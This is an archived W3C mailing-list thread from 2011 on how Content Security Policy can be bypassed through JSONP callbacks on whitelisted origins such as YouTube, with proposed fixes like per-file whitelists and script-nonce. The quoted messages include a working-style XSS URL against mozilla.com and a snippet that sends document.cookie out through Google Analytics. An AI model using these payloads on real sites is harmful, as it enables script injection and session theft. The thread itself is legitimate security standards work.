W3C home > Mailing lists > Public > public-web-security@w3.org > May 2011

Re: CSP and jsonp callbacks

From: Adam Barth <w3c@adambarth.com>
Date: Mon, 30 May 2011 14:28:39 -0700
Message-ID: <BANLkTin+aJ5j2-QKQTH7mS_hVrSFRrfqoQ@mail.gmail.com>
To: "sird@rckc.at" <sird@rckc.at>
Cc: public-web-security@w3.org, masatokinugawa@gmail.com
Lots of third-party interactions are tricky with CSP.  For example,
it's difficult to use CSP on sites that contain advertisements because
those advertisements often end up including scripts from syndicates.

I don't think being strict about Content-Type is going to solve the
problem.  You still have the problem today that application/javascript
caries no authority without CSP and does carry authority with CSP.  In
the specific example, we're just getting lucky that YouTube is
responding with application/json.  It would be entirely reasonable for
them to respond with application/javascript, especially because JSONP
isn't valid JSON.

One alternative, of course, is to use script-nonce, which lets the
site whitelist individual script loads instead of blanket-allowing
everything from an origin.

Adam


On Mon, May 30, 2011 at 2:20 PM, sird@rckc.at <sird@rckc.at> wrote:
> Right, that's the problem.
>
> And to keep the web working, with Analytics, Tynt, etc.. people will
> trust their site to one script in youtube.com but not to all services
> that live there.
>
> A possible way to mitigate this problem, is if CSP forces Content-Type
> to be valid (it would be weird if youtube echoe's back JSON as
> text/javascript), or if Mozilla can just whitelist a specific file,
> instead of whitelisting the whole origin.
>
> My point being, that whitelisting the whole origin and giving no more
> granularity is not good enough for the type of applications that are
> being created. If CSP accepted files, or directories it would help to
> mitigate this problem.
>
> eg.:
>
> script-src: http://www.youtube.com/apis/video.js
>
>
> or
>
> script-src: http://www.youtube.com/apis/*.js
>
>
> Or, otherwise, what's the alternative that we give to Mozilla? Don't
> use Youtube? (specially, since this is not a security problem for
> Youtube, maybe they wont fix it.. there's no reason for them to, and
> the problem is in Mozilla).
>
> Greetings
> -- Eduardo
>
>
>
>
> On Mon, May 30, 2011 at 3:12 PM, Adam Barth <w3c@adambarth.com> wrote:
>> Ah, I understand.  Sounds like YouTube isn't trustworthy.
>>
>> The more general problem is CSP imbues JavaScript responses with
>> authority, which isn't how the rest of the web works.  That means when
>> sites, like YouTube, have reflections in their JavaScript, folks that
>> trust them get in trouble.
>>
>> Adam
>>
>>
>> On Mon, May 30, 2011 at 11:52 AM, sird@rckc.at <sird@rckc.at> wrote:
>>> The XSS in mozilla is:
>>> http://www.mozilla.com/search?q="><script+src="http://www.youtube.com/video/export?id=1337&callback=payload(here)"></script>
>>>
>>> Youtube has a service that lets you export a video details with JSONp,
>>> and accepts "callback". And callback is sanitized to only have
>>> ([a-zA-Z_$][a-zA-Z$_0-9]+[.])+ and parenthesis.
>>>
>>> Greetings!!
>>> -- Eduardo
>>>
>>>
>>>
>>>
>>> On Mon, May 30, 2011 at 1:49 PM, Adam Barth <w3c@adambarth.com> wrote:
>>>> I'm sorry.  I'm not sure I follow.  How is the attacker able to run
>>>> the script below?  I agree that once the attacker can run script in
>>>> the honest site's security origin, the attacker has won.
>>>>
>>>> Adam
>>>>
>>>>
>>>> On Mon, May 30, 2011 at 11:36 AM, sird@rckc.at <sird@rckc.at> wrote:
>>>>> It's an example :P
>>>>>
>>>>> but ok, let's say the attacker uses:
>>>>>
>>>>>  var _gaq = _gaq || [];
>>>>>  _gaq.push(['_setAccount', 'UA-evil-1']);
>>>>>  _gaq.push(['_trackPageview']);
>>>>>  _gaq.push(['_trackEvent', 'cookies', 'add', document.cookie]);
>>>>>
>>>>> And uses google analytics to send data back to the attacker.
>>>>>
>>>>> Or let's say the attacker iframes youtube.com and loads a payload
>>>>> inside a gadget in youtube.
>>>>>
>>>>> Or let's say the attacker does the attack directly with XHR.
>>>>>
>>>>>
>>>>> -- Eduardo
>>>>>
>>>>>
>>>>>
>>>>>
>>>>> On Mon, May 30, 2011 at 1:00 PM, Adam Barth <w3c@adambarth.com> wrote:
>>>>>> On Mon, May 30, 2011 at 10:37 AM, Eduardo Vela <sirdarckcat@gmail.com> wrote:
>>>>>>> Hi List.
>>>>>>>
>>>>>>> I think this issue has came up before (can't find the thread but I've
>>>>>>> seen it) and Masato (cc'd) brought this up to us recently.
>>>>>>>
>>>>>>> What can a CSP user do in the following case:
>>>>>>>
>>>>>>> 1. www.mozilla.org trusts scripts from www.youtube.com because they
>>>>>>> use one of their scripts.
>>>>>>> 2. Attacker is able to do
>>>>>>> www.youtube.com/video/export?id=1337&callback=eval(name)
>>>>>>
>>>>>> Won't that be blocked because eval is blocked?
>>>>>>
>>>>>> Adam
>>>>>>
>>>>>>
>>>>>>> 3. Then Mozilla isn't capable of protecting using CSP.
>>>>>>>
>>>>>>> In general, Mozilla can't realistically know all the things we put in
>>>>>>> www.youtube.com. If Youtube doesn't care about CSP, there's no reason
>>>>>>> for them to fix it. And Mozilla might not be able to mirror the script
>>>>>>> to their own servers because it might change at any moment, and their
>>>>>>> site might break.
>>>>>>>
>>>>>>> Could it be possible to whitelist specific files, instead of complete
>>>>>>> origins? Maybe even global expressions (e.g.
>>>>>>> www.youtube.com/scripts/*.js)?
>>>>>>> Or.. maybe Mozilla shouldn't trust Youtube at all?
>>>>>>> What about.. Content-Type enforcement? Force scripts allowed on a CSP
>>>>>>> document to have the right Content-Type.
>>>>>>>
>>>>>>> How does this apply for the use case of stats services, captcha, ads,
>>>>>>> etc.. which all require external scripts?
>>>>>>>
>>>>>>> I think forcing the right Content-Type for scripts might be the best
>>>>>>> solution, and maybe a rule to override this behavior, comments?
>>>>>>>
>>>>>>> Thanks!!
>>>>>>>
>>>>>>> -- Eduardo
>>>>>>>
>>>>>>>
>>>>>>
>>>>>
>>>>
>>>
>>
>
Received on Monday, 30 May 2011 21:29:39 GMT

This archive was generated by hypermail 2.2.0+W3C-0.50 : Monday, 30 May 2011 21:29:39 GMT